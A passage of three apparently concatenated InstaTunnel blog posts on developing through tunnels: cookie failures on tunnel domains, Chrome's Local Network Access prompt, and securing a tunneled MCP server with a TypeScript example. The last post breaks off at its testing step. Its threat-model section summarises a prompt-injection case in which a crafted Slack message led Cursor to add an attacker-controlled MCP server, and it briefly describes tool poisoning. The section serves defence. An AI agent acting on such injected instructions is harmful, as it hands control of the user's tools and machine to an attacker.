OAuth and SSO redirects. A top-level GET back to your callback carries Lax cookies. A cross-site POST callback (some SAML and form-post flows) does not, apart from the two-minute exception above.
Embedded pages. An app in an iframe on another tunnel URL is a third-party context and loses Lax and Strict cookies.

The cleanest fix is to avoid the cross-site setup. Serve the frontend and API behind one tunnel hostname and route by path (/api/*), so everything is same-origin.

If you truly need cross-site cookies, use SameSite=None; Secure. Chromium-based browsers reject SameSite=None cookies that omit Secure. Even then, don’t count on it everywhere. WebKit announced on March 24, 2020 that Safari would block all third-party cookies by default, and Firefox partitions third-party cookies in its Strict tracking-protection mode and in private browsing.

Failure #3: Secure cookies behind a TLS-terminating proxy

A tunnel gives your local app a public HTTPS address, but the encryption ends at the provider’s edge. Your local server typically receives plain HTTP.

Some session libraries refuse to set a Secure cookie when they believe the connection is insecure. express-session with cookie.secure: true is a well-known example. Locally you never notice, because localhost is exempt in Chrome and Firefox. Behind a tunnel, the cookie is silently never set. Django is similar: if it misjudges the scheme, POST requests can fail its CSRF origin check, a failure that proxy-hosted Django users have reported.

Tell your app to trust the forwarded protocol header (X-Forwarded-Proto) from the tunnel.

Express: app.set('trust proxy', 1). Once trust is enabled, req.protocol reflects X-Forwarded-Proto, and req.secure follows it. A number means “trust this many hops from the front-facing proxy”, so adjust it to your actual topology. If you use true, the last trusted proxy must overwrite X-Forwarded-For, X-Forwarded-Host and X-Forwarded-Proto, or a client can supply any value.
Django: SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https'). Django’s docs warn that this can compromise security if misconfigured. Your proxy must strip the header from incoming requests and set it only for requests that arrived over HTTPS.
Rails: allow the tunnel host. Rails reads extra development hosts from the RAILS_DEVELOPMENT_HOSTS environment variable (Spree’s docs suggest RAILS_DEVELOPMENT_HOSTS=.trycloudflare.com for quick tunnels), or you can add the host to config.hosts. Rails also has config.assume_ssl for apps behind a TLS-terminating proxy.
Vite: Cloudflare’s docs say to add .trycloudflare.com to preview.allowedHosts for quick tunnels and your own domain suffix for named tunnels. vite dev has an equivalent allowed-hosts setting on the dev server.

Only trust forwarding headers from a proxy you control. In production, restrict trust to known proxy addresses.

Hardening: cookie prefixes and cookie tossing

While you’re fixing attributes, adopt prefixes so the browser enforces your intent.

__Secure- requires the Secure attribute and a secure origin.
__Host- additionally requires Path=/ and forbids Domain, binding the cookie to exactly one host.

Set-Cookie: __Host-session=abc123; Path=/; Secure; HttpOnly; SameSite=Lax

This matters because a subdomain can normally set a cookie for its parent domain, a technique called cookie tossing. __Host- closes that door, and a host-only cookie is exactly what a single tunnel hostname needs.

If you need one session across several subdomains of a domain you own, __Host- is too restrictive because it forbids Domain. Use __Secure- with an explicit Domain instead. That only makes sense when the parent is your own domain, never a shared public suffix.

One development caveat is that Safari’s Secure-on-localhost problem also affects prefixed cookies. Safari discards __Host- and __Secure- cookies on http://localhost because they require the Secure flag. A common workaround is to set Secure only when the request isn’t plain-HTTP localhost, or to test through the HTTPS tunnel.

Embedded scenarios: CHIPS

If your app is embedded (a chat widget, a payment frame, a preview inside another page), look at CHIPS, Cookies Having Independent Partitioned State. The Partitioned attribute stores a cross-site cookie in a jar keyed to the top-level site. Partitioned cookies must be Secure, and MDN recommends pairing them with SameSite=None and the __Host- prefix.

Set-Cookie: __Host-widget=34d8g; SameSite=None; Secure; Path=/; Partitioned

Google’s CHIPS documentation lists support starting in Chrome 114, Firefox 141 and Safari 26.2. Test on your target browser versions, because partitioned-cookie behavior is still maturing. A WebKit bug filed in January 2026 reports Safari dropping partitioned cookies after a multi-hop cross-site redirect chain.

On the wider picture, Google confirmed in April 2025 that Chrome would keep its current approach to third-party cookie choice instead of blocking them by default. In October 2025 it retired most Privacy Sandbox APIs, while continuing to support CHIPS, FedCM and Private State Tokens. Safari still blocks third-party cookies by default. The practical rule is to design for the strictest browser and treat unpartitioned SameSite=None cookies as unreliable. For federated sign-in flows, FedCM is the retained API worth evaluating.

A debugging checklist

When login works locally and fails through a tunnel, go in this order.

Network tab: inspect the login response’s Set-Cookie. Chrome’s DevTools warn about cookies affected by SameSite rules and show attributes for each request.
Application → Cookies: is the cookie stored at all? If not, the browser rejected it (bad Domain, Secure over HTTP, or SameSite=None without Secure).
Next request: stored but not sent usually means SameSite and a cross-site request. Check the request’s Sec-Fetch-Site header, which browsers send as same-origin, same-site, cross-site or none and which page scripts can’t modify. It is supported in Chrome 76+, Firefox 90+ and Safari 16.4+.
Hostnames: are the frontend, API and callback URLs all the same host?
Command line: curl -i https://your-tunnel-url/login shows the raw Set-Cookie headers your app emits.
Redirects: hardcoded http://localhost:3000 redirects send the browser back to localhost mid-flow.
Proxy trust: confirm your framework sees HTTPS through X-Forwarded-Proto.
Browser matrix: repeat the test in Safari and in Chrome on iOS, since both use WebKit’s cookie rules.

Why stable URLs and custom subdomains solve most of this

Random, ephemeral hostnames make this worse for a reason beyond the PSL: the origin changes every restart. Cookies are bound to host, so a new URL means an empty cookie jar and a logged-out session. OAuth providers also require exact redirect URIs, so a changing hostname forces constant re-registration.

How much this affects you depends on the provider. Cloudflare quick tunnels assign a new random *.trycloudflare.com hostname each time cloudflared starts. ngrok gives every account a free dev domain, and on the free plan you can only use that automatically assigned domain for public endpoints. Paid plans let you choose names.

A stable, reserved hostname fixes that whole class of problems.

Consistent host-only cookies. The same hostname across restarts keeps sessions alive and __Host- cookies predictable.
Fixed OAuth redirect URIs. Register https://yourname.example-tunnel.app/auth/callback once and leave it.
Predictable CORS and CSRF origins. Allow-lists can name one host instead of a wildcard.
Single-hostname architecture. Route frontend and API through one hostname and sidestep SameSite entirely.

If you need several subdomains sharing a session (say app. and api.), bring a domain you own. ngrok lets you use a custom domain you already own. Cloudflare named tunnels give you stable hostnames on your own zone. In Cloudflare’s docs, named tunnels are the stable option and quick tunnels the random one. A domain you control isn’t a public suffix, so Domain=.yourdomain.com works as expected.

Check whether your provider’s shared base domain is on the PSL. It cuts both ways. Membership protects you from other tenants’ cookies, but it also means sibling tunnels can’t share cookies. Treat that as a feature and design around it.

Layered authentication and cookies

If a tunnel sits behind a password gate or access policy, you now have two authentication layers. HTTP Basic Auth sends credentials in the Authorization header, which can collide with an app that expects its own bearer token in the same header, so test API calls explicitly. Once a visitor passes the gate, your app’s session cookie still has to satisfy every rule above. Test both layers together before sharing a link with a client. Cloudflare also advises that anyone with a tunnel URL can reach your dev server, so review ungated preview or admin endpoints before enabling one.

FAQ

Why does my login work on localhost but not on my ngrok or Cloudflare URL?

Chrome and Firefox exempt localhost from the HTTPS requirement for Secure cookies, and localhost has no shared parent domain. A tunnel URL has a real hostname under a public suffix, an HTTPS edge in front of an HTTP app, and cross-site boundaries between tunnels.

Is *.ngrok-free.app on the Public Suffix List?

Yes. ngrok states its managed base domains are on the list, which is why subdomains can’t read each other’s cookies.

Is *.trycloudflare.com on the Public Suffix List?

Developers who checked the list report that it is, and the ruby_native gem documents that browsers reject cookies scoped to it. Confirm against the current list at publicsuffix.org.

Does SameSite=Lax break cross-subdomain logins?

Only when the subdomains are cross-site. On your own domain, app.example.com and api.example.com are same-site, so Lax cookies flow. Under a public suffix they are cross-site.

What’s the safest default cookie for a tunneled app?

__Host-session=…; Path=/; Secure; HttpOnly; SameSite=Lax, served from one stable hostname.

Why does it work in Chrome but fail in Safari on localhost?

Safari rejects Secure cookies (and therefore __Host- and __Secure- cookies) from plain-HTTP localhost, while Chrome and Firefox allow them. Test through the HTTPS tunnel or set Secure conditionally in development.

Conclusion

When login breaks on a tunnel, the tunnel is rarely at fault. The browser is applying real-world rules that localhost quietly exempts you from: public suffix boundaries, SameSite defaults and Secure requirements. Use host-only __Host- cookies, route everything through one stable hostname, make your framework trust the proxy’s HTTPS signal, and bring your own domain when sessions must span subdomains. Do that, and your tunnel URL will behave like production.

Sources

Originally published at https://instatunnel.my/blog/cookies-on-tunnel-domains-why-login-works-on-localhost-but-breaks-on-a-tunnel-url

Chrome’s Local Network Access Prompt: What Breaks for Localhost Dev (and When a Tunnel Is the Wrong Fix)

InstaTunnel — Wed, 28 Oct 2026 05:03:14 +0000

If a hosted frontend suddenly can’t reach your localhost:8080 API in Chrome, you have almost certainly met Local Network Access (LNA). Since Chrome 142, requests from public websites to local and loopback addresses sit behind a permission prompt. Chrome 156 reached Stable on October 20, 2026. It removed the temporary enterprise opt-out policy, so managed browsers can no longer downgrade these blocks to DevTools warnings.

This guide covers which developer setups break, how to read the confusing errors, why a tunnel URL makes the problem vanish, and why that is often the wrong fix.

TL;DR

LNA gates requests from a public page to a local or loopback destination behind a per-site permission. If a user clicks Block, the connection stays broken until they reset the permission.
Hosted frontends, third-party dashboards and iframes that call your dev server break. A localhost page calling localhost does not.
Chrome 156 removes the LocalNetworkAccessRestrictionsTemporaryOptOut policy. That was the soft-landing mode for managed fleets.
A tunnel works because the request now targets a public address. It swaps a user-consented path for an internet-reachable one.
Prefer granting the permission, delegating it to iframes, or a narrow allowlist. Use a tunnel when you need inbound traffic or cannot control the embedding page.

What Is Chrome’s Local Network Access?

LNA supersedes Private Network Access (PNA), an earlier effort that used preflight requests so local devices could opt in. LNA drops the device opt-in and asks the user instead. Chrome’s developer blog compares it to the local network permissions on Android, iOS and macOS. Developers could try it from Chrome 138 by enabling chrome://flags/#local-network-access-check. Chrome 142 (Stable since October 28, 2025) turned the restriction on by default.

Google’s stated goals are to reduce cross-site request forgery against devices such as routers, and to make it harder for sites to fingerprint your local network.

A local network request is a request from a public website to a local IP address or loopback address, or from a local website (for example, an intranet) to loopback.

Loopback means any destination that resolves to the machine itself, such as 127.0.0.0/8 and ::1.
Local covers private address space. Atlassian’s bug report on the issue, for instance, lists 10.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16. Cloudflare’s documentation notes that the 100.64.0.0/10 range also counts as local.
The permission exists only in secure contexts, so the calling page needs HTTPS.
If granted, the permission also relaxes mixed-content blocking for those local requests, because many local devices cannot get publicly trusted certificates.

The permission prompt reads “Look for and connect to any device on your local network.”

Timeline: Chrome 138 to Chrome 156

Chrome	What changed
138	Opt-in via `chrome://flags/#local-network-access-check`
142	Restriction on by default, gated behind a permission prompt
145	Single permission split into `local-network` and `loopback-network`; the old name stays as an alias
146	New enterprise policies `LocalNetworkAccessIpAddressSpaceOverrides` and `LocalNetworkAccessPermissionsPolicyDefaultEnabled`
147	Restriction extended to WebSocket and WebTransport connections
156	`LocalNetworkAccessRestrictionsTemporaryOptOut` removed; Stable on October 20, 2026

Sources: Chrome’s guidance tracker entry, Chrome’s developer blog, Chrome Geek’s Chrome 156 coverage.

Which Localhost Dev Setups Break

The rule of thumb is a less-private origin calling a more-private destination. The prompt fires when a request moves inward from public toward local or loopback.

1. A hosted frontend calling `localhost`

This is the headline case. A preview or staging frontend on a public host calls an API on http://localhost:8080. Each end is fine on its own, but the public-to-loopback combination triggers the gate. If the user clicks Block, or the prompt never appears (see iframes below), the request fails.

2. Third-party platforms that load your dev server

Many vendor tooling flows work this way: the vendor’s public site loads or calls your local server. Developers have reported breakage in several of them:

Shopify: Since Chrome 142, extensions served by the Shopify CLI with shopify app dev --use-localhost hit a CORS error (Shopify community).
Adobe Express: Side-loading an add-on from https://localhost:5241 shows a prompt on new.express.adobe.com. If you click Block, side-loading fails (Adobe docs).
Builder.io: The Visual Editor previewing localhost content can fail with net::ERR_BLOCKED_BY_LOCAL_NETWORK_ACCESS_CHECK after a Block (Builder.io docs).
Twitch: An extension’s Local Test on https://localhost:8080 fails inside the Twitch dashboard iframe (Twitch forum).
DatoCMS: Privately hosted plugins stopped working in Chromium browsers after the LNA change (DatoCMS community).

3. Iframes you don’t control

An embedded frame needs the permission delegated by the embedding page through Permissions Policy. Chrome 142 to 144 use allow="local-network-access". From Chrome 145 you can name local-network or loopback-network (Cloudflare’s summary). A Dynamsoft guide shows listing all three for compatibility.

Without delegation the failure can be silent. Atlassian’s bug report describes a Forge app frame where Chrome showed no prompt, so users had no chance to allow the request (ECO-1174). The Twitch thread describes the same pattern: the dashboard iframe does not request the permission, so Chrome refuses the request. If you don’t own the embedding page, you can’t add the attribute, which matters later in this article.

4. Live-reload and realtime sockets

Since Chrome 147, WebSocket and WebTransport connections are covered too. A hosted tool that opens a socket to your local dev server needs the same permission as one that calls fetch().

What does not break

A page served from http://localhost:3000 calling http://localhost:8080. Both ends are loopback, so no inward step occurs.
Setups where the user has already clicked Allow for that site and the permission has not been reset.

Reading the Error: LNA Looks Like CORS

Developers lose hours here because LNA failures often surface as CORS errors. Reports quote messages and annotations such as:

Permission was denied for this request to access the 'unknown' address space (Atlassian and Dynamsoft)
LocalNetworkAccessPermissionDenied in the DevTools network details (Twitch)
net::ERR_BLOCKED_BY_LOCAL_NETWORK_ACCESS_CHECK (Builder.io)

LNA is a permission model, not a preflight handshake. The old PNA-era Access-Control-Allow-Private-Network response header is not the general fix. A Localtonet guide also stresses that CORS, mixed content, TLS and LNA are separate layers that can each fail on their own.

A debugging order that saves time:

Check whether the page origin is public and the destination is local or loopback.
Look for the prompt, or a blocked-permission indicator in the address bar.
If the request is inside an iframe, check the allow attribute.
Only then check CORS, mixed content and TLS.

One more trap: a Block sticks. Adobe’s docs say that after clicking Block you must reset the site’s permissions and data in Chrome’s site settings, then reload and click Allow.

What Chrome 156 Changes for Managed Browsers

LocalNetworkAccessRestrictionsTemporaryOptOut, supported since Chrome 142, let administrators make LNA failures show only DevTools warnings instead of blocking requests. Chrome’s guidance tracker says it is removed in Chrome 156. Chrome Geek confirms Chrome 156 hit Stable on October 20 and tells IT teams to replace setups that relied on the opt-out.

“Hard block” overstates the change slightly:

Fleets that relied on the opt-out now get the default LNA handling. That means a prompt where a human can answer it.
Where nobody can answer (kiosks, locked-down profiles, automated browsers), the request is likely to fail.
Admins can still use an allowlist policy to grant named origins access. Kaltura’s guidance (updated August 2026) recommends LocalNetworkAccessAllowedForUrls and warns against disabling LNA globally. Cloudflare’s documentation says a policy named LocalNetworkAllowedForUrls replaces it from Chrome 146. Policy names have shifted, so check the current Chrome Enterprise policy list before deploying.

Dating caveat: older vendor documentation (Samsung Internet’s policy page, Cloudflare’s notes) said the opt-out would be removed after Chrome 152. Chrome’s own tracker and the Chrome 156 release coverage name 156, so treat 156 as the date that matters.

Why a Tunnel URL Sidesteps the Prompt

LNA classifies a request by the address space of its destination, evaluated after name resolution. A tunnel’s public hostname (for example https://abc123.tunnel-provider.example) resolves to the provider’s public edge. A hosted frontend calling that URL is making a public-to-public request, so the LNA check does not apply. The provider relays traffic to your machine over an outbound connection, which Chrome never sees.

Developers do reach for this. In the Twitch thread, a developer asked whether ngrok or Cloudflare Tunnel URLs would work for local testing. Another developer there avoids localhost entirely and points the extension at a real domain with a reverse SSH tunnel. The workaround works precisely because it is invisible to the browser’s policy.

The Security Cost of “Just Tunnel It”

LNA exists to put a human decision between a public website and your private network. A tunnel does not satisfy that control. It removes the question by making the service reachable from the whole internet.

The trade-offs:

Wider audience. An LNA grant is per site, per browser, and revocable. A tunnel URL is reachable by anyone who learns or guesses it, from any network, with no prompt.
Dev-grade services, prod-grade exposure. Local APIs often have permissive CORS, debug endpoints, seeded admin accounts and stack traces. These were tolerable behind loopback and are not safe on a public hostname.
No consent signal. Once tunnelled, the “do you trust this site” step is gone for every visitor, including crawlers and scanners.
A third party sits in the path. Many providers terminate TLS at their edge, so request bodies, tokens and cookies pass through infrastructure you don’t run.
Credential sprawl. Tunnel URLs get pasted into tickets, chat and .env files, and are left running after a task ends.
Policy conflicts. A tunnel can quietly route around controls your security team just deployed. In regulated environments that can be a policy violation, not just a risk.

If you do tunnel, put authentication in front of it, keep the URL short-lived, expose only the port you need, and never point it at a service holding real data. Stop or delete the tunnel when the test ends.

When a Tunnel Is the Wrong Fix

Reach for these first:

Grant the permission once. For a single developer on a single site, clicking Allow is the least-privileged option. If you blocked it by mistake, reset the site’s permissions (Adobe documents the steps).
Run the frontend locally. A localhost page calling localhost avoids the gate entirely. Use mkcert or your framework’s HTTPS dev mode when you need a secure context.
Delegate to iframes. If you own the embedding page, add the allow attribute (loopback-network, local-network, and local-network-access for older Chrome), as Atlassian’s fix and Dynamsoft’s guide show.
Use a narrow enterprise allowlist. List only the public origins that need access, not the local endpoints. Kaltura’s guidance calls any such allowlist a security exception that needs an owner, a documented reason and regular review. That is the right mental model. Verify the result in chrome://policy.
Move the backend. A shared dev or staging environment removes the local-network hop altogether and suits team workflows better.
Declare the target when you know it. Chrome’s design includes a targetAddressSpace fetch option for requests that intentionally target a local destination (Localtonet’s walkthrough shows an example). Triggering the request after a clear user action means people meet the prompt at a sensible moment.
The flag is a last resort. Adobe, Builder.io and Atlassian document chrome://flags/#local-network-access-check as a workaround, and Adobe warns it applies to all websites. It is a per-browser escape hatch, so don’t build team workflows on it.

When a Tunnel Is the Right Fix

A tunnel is reasonable when:

You need inbound traffic, such as webhooks from Stripe, Shopify or Slack. LNA does not address that at all.
You are testing on real devices off your LAN.
You must share a work in progress with a client or colleague.
A third-party tool embeds your dev server in a frame you can’t modify, as with a vendor dashboard that won’t add the allow attribute.

In those cases, treat the tunnel as a deliberate, authenticated, time-boxed exposure, not a browser-prompt workaround.

What About Firefox and Safari?

Chrome is not alone. According to Dynamsoft’s rollout table, Firefox’s timeline was:

Firefox	Behavior
149	LNA enforced only for users with Enhanced Tracking Protection set to Strict
151	Gradual rollout to all users begins
153	Enforced by default for desktop users
154	Extended to WebSocket connections

Mozilla’s Firefox 154 release notes (first offered August 18, 2026) say that WebSocket connections to local network devices now ask for permission first. For admins, Firefox’s LocalNetworkAccess policy takes a SkipDomains list rather than an allowlist.

Safari is the outlier. A Sentry browser-updates radar entry from September 14, 2026 lists Safari as “No signal” for this feature. Switching browsers to dodge the prompt is a shrinking option.

Frequently Asked Questions

Does Chrome’s Local Network Access block `localhost` development?

Only when a public page calls a local or loopback address. A localhost page calling localhost isn’t affected.

Why does LNA show up as a CORS error?

Chrome blocks the request before the response is usable, and DevTools reports a failed cross-origin request. Look for the permission-denial text, such as LocalNetworkAccessPermissionDenied, before touching your CORS config.

Can I turn LNA off in Chrome 156?

Administrators lose the temporary opt-out policy. Users still have per-site permissions. Vendors have documented a Chrome flag as a workaround, but it is an unsupported per-browser escape hatch, not a long-term plan.

Is using a tunnel to avoid the prompt secure?

Not by default. It turns a consented, per-site path into a public URL. Add authentication, expose only what you need, and keep sessions short.

Sources

Originally published at https://instatunnel.my/blog/chromes-local-network-access-prompt-what-breaks-for-localhost-dev-and-when-a-tunnel-is-the-wrong-fix

Local-First AI Agent Testing: How to Expose Local MCP Servers Safely Without Compromising Host Security

InstaTunnel — Tue, 27 Oct 2026 01:42:41 +0000

Introduction: Local Tools, Remote Clients

AI engineering has moved a lot of work onto developer machines. Agents call local tools, read local files, and query local databases through the Model Context Protocol (MCP). Anthropic introduced MCP, and in December 2025 donated it to the Agentic AI Foundation, a directed fund under the Linux Foundation. It is now a vendor-neutral open standard.

The friction shows up when something that isn’t on your machine needs to reach your MCP server. That might be a hosted agent, a teammate’s client, or a staging environment. A tunnel is the fastest fix, but it turns a loopback-only process into a public HTTPS endpoint. A local MCP server is a program running with your user account’s privileges, so whatever it is coded to touch, anyone who can reach it can try to touch.

This guide covers four things:

how MCP’s transports work today
which threats a tunnel actually changes
how to expose a server with InstaTunnel using only features its documentation describes
how to layer authentication so the tunnel is not your only defense

MCP Transports in 2026

The current specification defines two standard transports: stdio and Streamable HTTP. The older HTTP+SSE transport from the 2024-11-05 revision is deprecated, and new implementations should not adopt it.

stdio: the local default

With stdio, the client launches the MCP server as a subprocess and exchanges JSON-RPC messages over standard input and output. The spec says clients SHOULD support stdio whenever possible.

Privileges: the server is a child process of your user account, so it can reach whatever your account can reach and the server’s code allows.
Scope: there is no network listener. Only the client that spawned it can talk to it, which is why security guidance for local servers favors stdio.
Authentication: the authorization spec says stdio implementations SHOULD NOT follow the OAuth flow and should take credentials from the environment instead.

A remote client cannot spawn a process on your laptop, so exposing a stdio server remotely needs a network layer, either a bridge or an HTTP-native server.

Streamable HTTP: the remote transport

In the latest revision (2026-07-28), Streamable HTTP is much simpler than earlier versions:

The server exposes a single endpoint (for example /mcp) that accepts POST.
Every JSON-RPC message is its own POST. The server replies with either a single JSON object or a Server-Sent Events (SSE) stream scoped to that request. That stream carries progress notifications and ends with the final response.
Protocol-level sessions, the initialize handshake, the standalone GET stream and Last-Event-ID resumability are all gone. Clients speaking 2025-03-26 through 2025-11-25 used the old shape, including Mcp-Session-Id.
POSTs carry MCP-Protocol-Version, Mcp-Method and, for calls like tools/call, Mcp-Name headers, so gateways can route without parsing JSON bodies.
Closing the response stream counts as cancelling that request.

Two consequences matter for tunnels:

Dropped connections are not resumable. A tunnel that drops mid-stream means the client must re-issue the request, so keep tool calls safe to retry.
Intermediaries can buffer streams. The spec says servers SHOULD send X-Accel-Buffering: no when opening an SSE stream. It also encourages periodic SSE comment lines as keep-alives on long-lived streams so intermediaries don’t close idle connections.

Remote agent / test client
        │  HTTPS POST /mcp  (JSON or SSE response)
        ▼
InstaTunnel public edge  (https://<subdomain>.instatunnel.my)
        │  tunnel
        ▼
Local MCP server on 127.0.0.1:8787

What the Specification Requires of an HTTP Server

For Streamable HTTP the spec’s security section says:

Servers MUST validate the Origin header on all incoming connections to prevent DNS rebinding. An invalid Origin gets HTTP 403.
Servers running locally SHOULD bind only to localhost (127.0.0.1), not 0.0.0.0.
Servers SHOULD implement proper authentication for all connections.

Authorization itself is optional in MCP. When an HTTP server does implement it, the spec builds on OAuth 2.1 and says the server acts as a resource server. Among its requirements:

Servers MUST validate that access tokens were issued for them as the intended audience.
Servers MUST NOT accept or pass along other tokens.
Invalid or expired tokens MUST receive a 401.
Access tokens MUST NOT go in the URI query string.

The Threat Model When You Add a Tunnel

A tunnel does not create new MCP vulnerabilities. It changes who can reach the ones you already have.

Prompt injection reaching tool arguments. Models build tool arguments from context, and context can contain attacker text. A Cloud Security Alliance research note describes a demonstrated chain in which a crafted Slack message, handled through an already-approved Slack MCP server, steered Cursor into rewriting its global mcp.json to add an attacker-controlled server. A tunnel does not cause this, but it widens the set of clients that can call your tools. Remote clients are also less likely to have a human approving each call.

Tool poisoning. Malicious instructions can sit in tool descriptions that the model sees but the user usually doesn’t. Invariant Labs published the original advisory in April 2025. Review tool definitions, pin versions, and treat descriptions as part of your supply chain.

Unauthenticated endpoints and DNS rebinding. CVE-2025-49596 was an unauthenticated remote code execution flaw in MCP Inspector. Its proxy exposed an endpoint with no authentication between client and proxy. It was fixed in 0.14.1. Oligo also demonstrated the same RCE through DNS rebinding, where an attacker’s web page reaches a localhost service. Current Inspector builds require a proxy token by default, bind to localhost, and validate Origin. Binding to loopback alone was not enough before the fix.

Token passthrough and confused deputy. The MCP security best practices describe token passthrough as an anti-pattern. A server accepts tokens that weren’t issued to it and forwards them to a downstream API. The authorization spec explicitly forbids it, because it can bypass controls such as rate limiting that depend on token audience. If your local server proxies to another API, validate the audience and never forward the client’s token.

Reference servers are demonstrations. The official modelcontextprotocol/servers repository carries a warning that its servers are reference implementations that demonstrate MCP features and SDK usage. The Filesystem and Git servers are still maintained there, while the SQLite server has moved to an archived repository that offers no security guarantees. Don’t put one behind a public URL just because it is official.

What InstaTunnel Documents for MCP

The details below come from the npm README for the instatunnel CLI (version 1.1.23). Check the current docs before relying on them, since the CLI changes quickly.

Installing and signing in

npm install -g instatunnel

# New users: start the verification-email flow
instatunnel auth login -e you@example.com

# Existing users: save an API key
instatunnel auth set-key "it_your_api_key"

MCP mode

MCP tunnels are listed as a Pro and Business feature, described as beta on the README’s feature list.
instatunnel 8787 --mcp starts an MCP tunnel. Appending /mcp to the generated URL gives the endpoint your client calls.
--transport v1 is the default. The README recommends --transport v2 for streaming, meaning MCP Streamable HTTP, long-lived tool responses and server-push-like flows. v2 needs CLI 1.1.7 or newer.
instatunnel doctor --mcp runs MCP readiness checks.
The README lists “MCP security controls: staged token header + stricter MCP rate limits”, plus “dedicated protective limits” for MCP traffic.

The staged token header

The README documents an optional header, X-InstaTunnel-MCP-Token, configured through an environment variable:

export INSTATUNNEL_MCP_TOKEN="your-shared-secret"
instatunnel 8787 --mcp --transport v2

The README does not say whether the edge enforces this header, strips it, or passes it through to your server. It also doesn’t say whether remote clients must send it themselves. Treat it as an outer gate and test its behavior in your own setup. Your server should enforce its own authentication and not depend on that header arriving.

Other documented controls

--password (password protect) and --auth user:pass (basic auth) appear in the flag reference. Browser-style prompts may not suit a non-interactive MCP client, so test before relying on them.
--subdomain sets a custom subdomain on instatunnel.my.
--logs polls request logs (Pro/Business), --list shows active tunnels, and --kill <subdomain> stops one.

What the documentation does not claim

The README describes HTTPS URLs. It does not describe end-to-end encryption to your machine, and it doesn’t describe header rewriting beyond the staged token. Don’t assume either.

Streaming Through the Tunnel

MCP tool calls can run long and emit progress, so buffering is the main failure mode.

Use transport v2 when a client expects streaming responses, per the InstaTunnel README.
Send X-Accel-Buffering: no on SSE responses. This is a spec SHOULD, so check what your server actually sends:

  curl -N -i -X POST https://<subdomain>.instatunnel.my/mcp \
    -H "Authorization: Bearer $MCP_TOKEN" \
    -H "Content-Type: application/json" \
    -H "Accept: application/json, text/event-stream" \
    -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'

Look at the response headers and confirm that events arrive as they are produced.

Emit keep-alive comments (a line beginning with a colon) on long-lived streams if idle timeouts bite.
Make retries safe, because a stream that dies mid-call cannot be resumed in the current revision.
Don’t invent protocol details. Hand-rolled handlers that write ad hoc data: events, or an OpenAI-style [DONE] sentinel, are not MCP. Use the official SDK so framing, headers and error codes match the spec.

Layered Authentication for Tunneled MCP

Relying on an obscure URL is not a security control. If you pick a memorable subdomain like mymcp, anyone can guess it. Use layers so a failure in one doesn’t expose your tools:

Edge gate (optional): InstaTunnel’s staged token header, with the caveats above.
Server authentication (required): a bearer token the server checks on every request. InstaTunnel’s own README suggests configuring the MCP server to require Authorization: Bearer <token>. A shared secret is acceptable for a short-lived dev session. For anything longer-lived or multi-user, follow the spec’s OAuth 2.1 resource-server model with audience validation.
Host and Origin validation (required): reject unexpected Host and Origin values.
Capability limits (required): expose only the tools the test needs, with strict input schemas, no shell execution, and read-only file scopes.

Hands-On: A Locked-Down MCP Server Behind InstaTunnel

This uses the official TypeScript SDK (v2), the stable line implementing the 2026-07-28 spec. The v1 @modelcontextprotocol/sdk package stays supported for at least six months after v2’s release but follows different APIs.

Step 1: Create the project

mkdir local-mcp-secure && cd local-mcp-secure
npm init -y
npm pkg set type=module
npm install @modelcontextprotocol/server @modelcontextprotocol/express @modelcontextprotocol/node express zod
npm install -D tsx typescript @types/express @types/node

Step 2: Write the server

Create server.ts:

import { timingSafeEqual } from 'node:crypto';
import type { NextFunction, Request, Response } from 'express';
import { createMcpExpressApp } from '@modelcontextprotocol/express';
import { toNodeHandler } from '@modelcontextprotocol/node';
import { createMcpHandler, McpServer } from '@modelcontextprotocol/server';
import * as z from 'zod/v4';

const PORT = 8787;
const TOKEN = process.env.MCP_TOKEN ?? '';
const PUBLIC_HOST = process.env.MCP_PUBLIC_HOST; // e.g. acme-mcp-dev.instatunnel.my

if (TOKEN.length < 32) {
  console.error('Set MCP_TOKEN to a random value of at least 32 characters.');
  process.exit(1);
}

function tokenMatches(presented: string): boolean {
  const a = Buffer.from(presented);
  const b = Buffer.from(TOKEN);
  return a.length === b.length && timingSafeEqual(a, b);
}

function requireToken(req: Request, res: Response, next: NextFunction) {
  const [scheme, presented] = (req.headers.authorization ?? '').split(' ');
  if (scheme !== 'Bearer' || !presented || !tokenMatches(presented)) {
    res.set('WWW-Authenticate', 'Bearer').status(401).json({ error: 'unauthorized' });
    return;
  }
  next();
}

// A fresh McpServer is built for every request.
const handler = createMcpHandler(() => {
  const server = new McpServer({ name: 'local-notes', version: '1.0.0' });
  server.registerTool(
    'add-note',
    {
      description: 'Echo a short note (demo tool, stores nothing)',
      inputSchema: z.object({ text: z.string().max(500) })
    },
    async ({ text }) => ({ content: [{ type: 'text', text: `Received: ${text}` }] })
  );
  return server;
});

// Host/Origin validation: allow loopback names plus the tunnel's public hostname.
const allowedHosts = ['127.0.0.1', 'localhost', ...(PUBLIC_HOST ? [PUBLIC_HOST] : [])];
const app = createMcpExpressApp({ host: '0.0.0.0', allowedHosts });

const node = toNodeHandler(handler);
app.all('/mcp', requireToken, (req, res) => void node(req, res, req.body));

// Bind loopback only; the tunnel agent connects from the same machine.
app.listen(PORT, '127.0.0.1', () => {
  console.log(`MCP server on http://127.0.0.1:${PORT}/mcp`);
});

Why it is written this way:

createMcpExpressApp applies express.json() and Host/Origin validation. The SDK docs show the host: '0.0.0.0' plus allowedHosts form for serving a non-localhost hostname, and requests without an Origin header (non-browser MCP clients) pass through. The actual socket is bound separately by app.listen, and binding it to 127.0.0.1 follows the spec’s SHOULD for local servers.
The auth middleware sits in front of the MCP handler, following the SDK’s own app.all('/mcp', auth, ...) pattern. It uses a constant-time comparison and returns 401 with a WWW-Authenticate header, as the spec requires for invalid tokens.
The tool schema is strict and the tool performs no side effects. Add real tools one at a time.

Step 3: Generate secrets and start the server

export MCP_TOKEN="$(node -e "console.log(require('crypto').randomBytes(32).toString('hex'))")"
export MCP_PUBLIC_HOST="acme-mcp-dev.instatunnel.my"
npx tsx server.ts

Step 4: Open the tunnel

In a second terminal:

export INSTATUNNEL_MCP_TOKEN="$(node -e "console.log(require('crypto').randomBytes(32).toString('hex'))")"
instatunnel 8787 --mcp --transport v2 --subdomain acme-mcp-dev
instatunnel doctor --mcp

Use a separate secret for the staged header and for the bearer token, so one leak doesn’t reveal both. If the server answers 403 on every tunneled request, compare the Host header the tunnel forwards with your allowedHosts list.

Step 5: Test from the remote side

Check that an unauthenticated request is refused, whether by the edge or by your server’s 401:

